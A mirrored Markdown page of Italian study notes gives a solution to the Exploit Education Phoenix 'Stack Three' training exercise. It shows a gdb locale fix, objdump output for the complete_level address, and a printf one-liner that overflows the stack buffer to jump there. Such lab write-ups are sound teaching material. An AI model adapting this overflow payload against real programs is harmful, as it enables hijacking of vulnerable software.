mirror of
https://github.com/Steffo99/appunti-magistrali.git
synced 2024-11-22 10:44:17 +00:00
20 lines
457 B
Markdown
20 lines
457 B
Markdown
|
# [Stack Three](https://exploit.education/phoenix/stack-three/)
|
|||
|
|
|||
|
Per fixare `gdb`, usare:
|
|||
|
```bash
|
|||
|
export LC_CTYPE=C.UTF-8
|
|||
|
```
|
|||
|
|
|||
|
Usando `objdump` si può trovare l'indirizzo della funzione:
|
|||
|
```
|
|||
|
000000000040069d g F .text 0000000000000018 complete_level
|
|||
|
```
|
|||
|
|
|||
|
L'indirizzo è quello nella prima colonna, `000000000040069d`.
|
|||
|
|
|||
|
## Soluzione
|
|||
|
|
|||
|
```bash
|
|||
|
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
|||
|
a\x9d\x06@' | ./stack-three
|
|||
|
```
|